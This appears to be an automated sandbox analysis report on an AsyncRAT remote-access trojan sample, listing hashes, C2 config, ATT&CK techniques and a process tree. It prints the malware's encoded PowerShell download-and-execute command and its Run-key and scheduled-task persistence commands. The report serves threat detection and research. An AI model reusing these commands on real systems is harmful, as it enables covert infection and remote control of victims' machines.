asyncrat | a6ee35a6f6df35f07f410aa318e26b4f48125c13383d0a57af1eb188378334e9

General

Target

a6ee35a6f6df35f07f410aa318e26b4f48125c13383d0a57af1eb188378334e9.exe
Size

5KB
MD5

51a17f574cbbcd25376f6c362981ff5b
SHA1

a972014ec577230af4a7d1f79012b8a3e5b1bc81
SHA256

a6ee35a6f6df35f07f410aa318e26b4f48125c13383d0a57af1eb188378334e9
SHA512

8bb9569242c9066c3cdec62d3e0e9b12f84f52712cdc13d3e15544e439dad0a4e4cb45852f32655b203ae953e385f06415f8a566e7281cf60dc0eb66e800e0ad
SSDEEP

96:Vmm+79yWL1bhyc9g1wtwCdvk+Zpe86/3S+YYKd3ojo9Xrl:xI9yWL1bhycnu2vkWA86/31Kdz

Score

10^/10

asyncrat system guard runtime persistence rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

System Guard Runtime

C2

85.105.88.221:2531

Mutex

System Guard Runtime

Attributes

delay
3
install
false
install_file
System Guard Runtime
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/1560-149-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

40 4628 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

11.exe

pid process

2932 11.exe

flow	pid	process
40	4628	powershell.exe

pid	process
2932	11.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

a6ee35a6f6df35f07f410aa318e26b4f48125c13383d0a57af1eb188378334e9.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	a6ee35a6f6df35f07f410aa318e26b4f48125c13383d0a57af1eb188378334e9.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemGuardRuntime = "C:\\Users\\Admin\\AppData\\Roaming\\SystemGuardRuntime\\SystemGuardRuntime.exe"	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

11.exe

description pid process target process

PID 2932 set thread context of 1560 2932 11.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

4280 schtasks.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

4628 powershell.exe
4628 powershell.exe
1880 powershell.exe
1880 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 4628 powershell.exe
Token: SeDebugPrivilege 1880 powershell.exe

description	pid	process	target process
PID 2932 set thread context of 1560	2932	11.exe	RegAsm.exe

pid	process
4280	schtasks.exe

pid	process
4628	powershell.exe
4628	powershell.exe
1880	powershell.exe
1880	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4628	powershell.exe
Token: SeDebugPrivilege	1880	powershell.exe

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

a6ee35a6f6df35f07f410aa318e26b4f48125c13383d0a57af1eb188378334e9.exepowershell.exe11.execmd.exe

description	pid	process	target process
PID 4040 wrote to memory of 4628	4040	a6ee35a6f6df35f07f410aa318e26b4f48125c13383d0a57af1eb188378334e9.exe	powershell.exe
PID 4040 wrote to memory of 4628	4040	a6ee35a6f6df35f07f410aa318e26b4f48125c13383d0a57af1eb188378334e9.exe	powershell.exe
PID 4628 wrote to memory of 2932	4628	powershell.exe	11.exe
PID 4628 wrote to memory of 2932	4628	powershell.exe	11.exe
PID 4628 wrote to memory of 2932	4628	powershell.exe	11.exe
PID 2932 wrote to memory of 1880	2932	11.exe	powershell.exe
PID 2932 wrote to memory of 1880	2932	11.exe	powershell.exe
PID 2932 wrote to memory of 1880	2932	11.exe	powershell.exe
PID 2932 wrote to memory of 4796	2932	11.exe	cmd.exe
PID 2932 wrote to memory of 4796	2932	11.exe	cmd.exe
PID 2932 wrote to memory of 4796	2932	11.exe	cmd.exe
PID 4796 wrote to memory of 4280	4796	cmd.exe	schtasks.exe
PID 4796 wrote to memory of 4280	4796	cmd.exe	schtasks.exe
PID 4796 wrote to memory of 4280	4796	cmd.exe	schtasks.exe
PID 2932 wrote to memory of 1560	2932	11.exe	RegAsm.exe
PID 2932 wrote to memory of 1560	2932	11.exe	RegAsm.exe
PID 2932 wrote to memory of 1560	2932	11.exe	RegAsm.exe
PID 2932 wrote to memory of 1560	2932	11.exe	RegAsm.exe
PID 2932 wrote to memory of 1560	2932	11.exe	RegAsm.exe
PID 2932 wrote to memory of 1560	2932	11.exe	RegAsm.exe
PID 2932 wrote to memory of 1560	2932	11.exe	RegAsm.exe
PID 2932 wrote to memory of 1560	2932	11.exe	RegAsm.exe

C:\Users\Admin\AppData\Local\Temp\a6ee35a6f6df35f07f410aa318e26b4f48125c13383d0a57af1eb188378334e9.exe
"C:\Users\Admin\AppData\Local\Temp\a6ee35a6f6df35f07f410aa318e26b4f48125c13383d0a57af1eb188378334e9.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4040

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABnACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADAANQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAGQAbgAuAGQAaQBzAGMAbwByAGQAYQBwAHAALgBjAG8AbQAvAGEAdAB0AGEAYwBoAG0AZQBuAHQAcwAvADEAMAA2ADUANQA1ADkAOQAyADAAMAA2ADcANAA4ADEANgAyADAALwAxADAANgA1ADUANgAwADcAMgA2ADQANQA1ADkAOAA0ADEANwA4AC8AQwBSAC4AZQB4AGUAJwAsACAAPAAjAHcAZABjACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAaQBhAGcAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdABlAHIAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAMQAxAC4AZQB4AGUAJwApACkAPAAjAGQAeABsACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHAAcgBoACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwB2AG0AbQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwAxADEALgBlAHgAZQAnACkAPAAjAGQAdABkACMAPgA="
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4628

C:\Users\Admin\AppData\Roaming\11.exe
"C:\Users\Admin\AppData\Roaming\11.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2932

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'SystemGuardRuntime';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'SystemGuardRuntime' -Value '"C:\Users\Admin\AppData\Roaming\SystemGuardRuntime\SystemGuardRuntime.exe"' -PropertyType 'String'
4⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1880

C:\Windows\SysWOW64\cmd.exe
"cmd" /C schtasks /create /tn \SystemGuardRuntime /tr "C:\Users\Admin\AppData\Roaming\SystemGuardRuntime\SystemGuardRuntime.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
4⤵
- Suspicious use of WriteProcessMemory
PID:4796

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /tn \SystemGuardRuntime /tr "C:\Users\Admin\AppData\Roaming\SystemGuardRuntime\SystemGuardRuntime.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
5⤵
- Creates scheduled task(s)
PID:4280

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
#cmd
4⤵
PID:1560

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
e942aadc56bfd6885115fa4d65b56a04

SHA1
ed778f04ec6ca615686ce9d239d7d4688715d6f2

SHA256
450f4b18e27486e793dacde81f79112ffe1a659992b17fd103bf9a16e613c7b0

SHA512
842711f37d9abd1fdf53a46529c1d0700e82da1973f0c3e6b66070efccc0393396560c3a0287719f2d641a4ede00a6da7cb072f07817c8cd0c45cd2ca46e61e4

Download Submit
C:\Users\Admin\AppData\Roaming\11.exe
Filesize
87KB

MD5
3c6ccbfe897915f0fe6bc34d193bf4a0

SHA1
6fe3161ee66e317889066a302474e511220939e7

SHA256
52bf11364e8430f4b271ebb29e2a55451543338be5b2a34e731ede58eef04241

SHA512
e0bf1fc11deacb24b5d5de4bcfc522057d1ca1b4866325356b2c9a1f009c6562eee0c0e602478b3639de4beff14997d59a3b428281d9111278544fc5e3199536

Download Submit
C:\Users\Admin\AppData\Roaming\11.exe
Filesize
87KB

MD5
3c6ccbfe897915f0fe6bc34d193bf4a0

SHA1
6fe3161ee66e317889066a302474e511220939e7

SHA256
52bf11364e8430f4b271ebb29e2a55451543338be5b2a34e731ede58eef04241

SHA512
e0bf1fc11deacb24b5d5de4bcfc522057d1ca1b4866325356b2c9a1f009c6562eee0c0e602478b3639de4beff14997d59a3b428281d9111278544fc5e3199536

Download Submit
memory/1560-148-0x0000000000000000-mapping.dmp

Download
memory/1560-149-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/1880-156-0x0000000006520000-0x0000000006552000-memory.dmp

Filesize
200KB

Download
memory/1880-159-0x0000000007890000-0x0000000007F0A000-memory.dmp

Filesize
6.5MB

Download
memory/1880-166-0x00000000075B0000-0x00000000075D2000-memory.dmp

Filesize
136KB

Download
memory/1880-165-0x0000000007570000-0x0000000007578000-memory.dmp

Filesize
32KB

Download
memory/1880-164-0x0000000007590000-0x00000000075AA000-memory.dmp

Filesize
104KB

Download
memory/1880-163-0x0000000007480000-0x000000000748E000-memory.dmp

Filesize
56KB

Download
memory/1880-162-0x00000000074D0000-0x0000000007566000-memory.dmp

Filesize
600KB

Download
memory/1880-144-0x0000000000000000-mapping.dmp

Download
memory/1880-161-0x00000000072C0000-0x00000000072CA000-memory.dmp

Filesize
40KB

Download
memory/1880-146-0x0000000002600000-0x0000000002636000-memory.dmp

Filesize
216KB

Download
memory/1880-160-0x0000000007250000-0x000000000726A000-memory.dmp

Filesize
104KB

Download
memory/1880-158-0x00000000064E0000-0x00000000064FE000-memory.dmp

Filesize
120KB

Download
memory/1880-157-0x0000000070570000-0x00000000705BC000-memory.dmp

Filesize
304KB

Download
memory/1880-150-0x0000000005350000-0x0000000005978000-memory.dmp

Filesize
6.2MB

Download
memory/1880-151-0x0000000004F90000-0x0000000004FB2000-memory.dmp

Filesize
136KB

Download
memory/1880-153-0x00000000051A0000-0x0000000005206000-memory.dmp

Filesize
408KB

Download
memory/1880-152-0x0000000005130000-0x0000000005196000-memory.dmp

Filesize
408KB

Download
memory/1880-155-0x0000000005F40000-0x0000000005F5E000-memory.dmp

Filesize
120KB

Download
memory/2932-143-0x0000000005770000-0x0000000005D14000-memory.dmp

Filesize
5.6MB

Download
memory/2932-142-0x0000000000820000-0x000000000083C000-memory.dmp

Filesize
112KB

Download
memory/2932-138-0x0000000000000000-mapping.dmp

Download
memory/4040-132-0x0000000000CA0000-0x0000000000CA8000-memory.dmp

Filesize
32KB

Download
memory/4040-136-0x00007FF9BDF90000-0x00007FF9BEA51000-memory.dmp

Filesize
10.8MB

Download
memory/4280-147-0x0000000000000000-mapping.dmp

Download
memory/4628-133-0x0000000000000000-mapping.dmp

Download
memory/4628-134-0x000001BF74AC0000-0x000001BF74AE2000-memory.dmp

Filesize
136KB

Download
memory/4628-135-0x00007FF9BDF90000-0x00007FF9BEA51000-memory.dmp

Filesize
10.8MB

Download
memory/4628-137-0x00007FF9BDF90000-0x00007FF9BEA51000-memory.dmp

Filesize
10.8MB

Download
memory/4628-140-0x00007FF9BDF90000-0x00007FF9BEA51000-memory.dmp

Filesize
10.8MB

Download
memory/4796-145-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads